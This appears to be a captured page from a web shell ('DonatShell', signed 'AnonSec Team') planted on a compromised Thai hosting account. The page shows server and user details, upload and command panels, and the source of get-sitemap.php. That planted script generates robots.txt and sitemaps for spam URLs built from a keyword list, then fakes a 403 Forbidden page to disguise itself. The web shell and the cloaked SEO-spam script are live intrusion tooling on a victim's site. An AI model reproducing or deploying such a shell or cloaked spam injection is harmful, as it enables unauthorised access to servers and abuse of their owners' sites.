%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 216.73.216.224
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/.trash/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/.trash/files/get-sitemap.php
<?php
// Fungsi untuk menghitung jumlah baris dalam sebuah file
function getFileRowCount($filename) {
    if (!file_exists($filename)) {
        return 0;
    }
    return count(file($filename, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES));
}

// Deteksi protokol dari host
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = filter_input(INPUT_SERVER, 'HTTP_HOST', FILTER_SANITIZE_URL);
$scriptName = dirname(filter_input(INPUT_SERVER, 'SCRIPT_NAME', FILTER_SANITIZE_URL));
$urlBase = rtrim($protocol . "://" . $host . $scriptName, '/') . '/';

// Membuat file robots.txt
$robotsTxt = "User-agent: *" . PHP_EOL;
$robotsTxt .= "Allow: /" . PHP_EOL;
for ($i = 1; $i <= 3; $i++) {
    $robotsTxt .= "Sitemap: " . $urlBase . "sitemap_" . $i . ".xml" . PHP_EOL;
}
file_put_contents('robots.txt', $robotsTxt);

// Mengatur zona waktu
date_default_timezone_set('Asia/Bangkok');

// File input yang akan diproses
$judulFiles = ["list.txt"];

foreach ($judulFiles as $index => $judulFile) {
    // Memastikan file input ada
    if (!file_exists($judulFile)) {
        echo "File $judulFile tidak ditemukan." . PHP_EOL;
        continue;
    }

    // Membuat file sitemap.xml
    $sitemapFile = fopen("sitemap_" . ($index + 1) . ".xml", "w");
    fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
    fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);

    // Membaca isi file dan menulis ke sitemap.xml
    $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($fileLines as $judul) {
        $sitemapLink = htmlspecialchars($urlBase . '?th=' . urlencode($judul), ENT_QUOTES, 'UTF-8');
        fwrite($sitemapFile, '  <url>' . PHP_EOL);
        fwrite($sitemapFile, '    <loc>' . $sitemapLink . '</loc>' . PHP_EOL);
        $currentTime = date('Y-m-d\TH:i:sP');
        fwrite($sitemapFile, '    <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL);
        fwrite($sitemapFile, '    <changefreq>daily</changefreq>' . PHP_EOL);
        fwrite($sitemapFile, '  </url>' . PHP_EOL);
    }
    fwrite($sitemapFile, '</urlset>' . PHP_EOL);
    fclose($sitemapFile);

    echo "Sitemap_" . ($index + 1) . ".xml telah dibuat." . PHP_EOL;
}

// Menampilkan pesan 403 Forbidden hanya jika akses terlarang
http_response_code(403);
echo "<title>403 Forbidden</title>";
echo "<h1>Forbidden</h1>";
echo "<p>You don't have permission to access this resource.</p>";
?>

Anon7 - 2022
AnonSec Team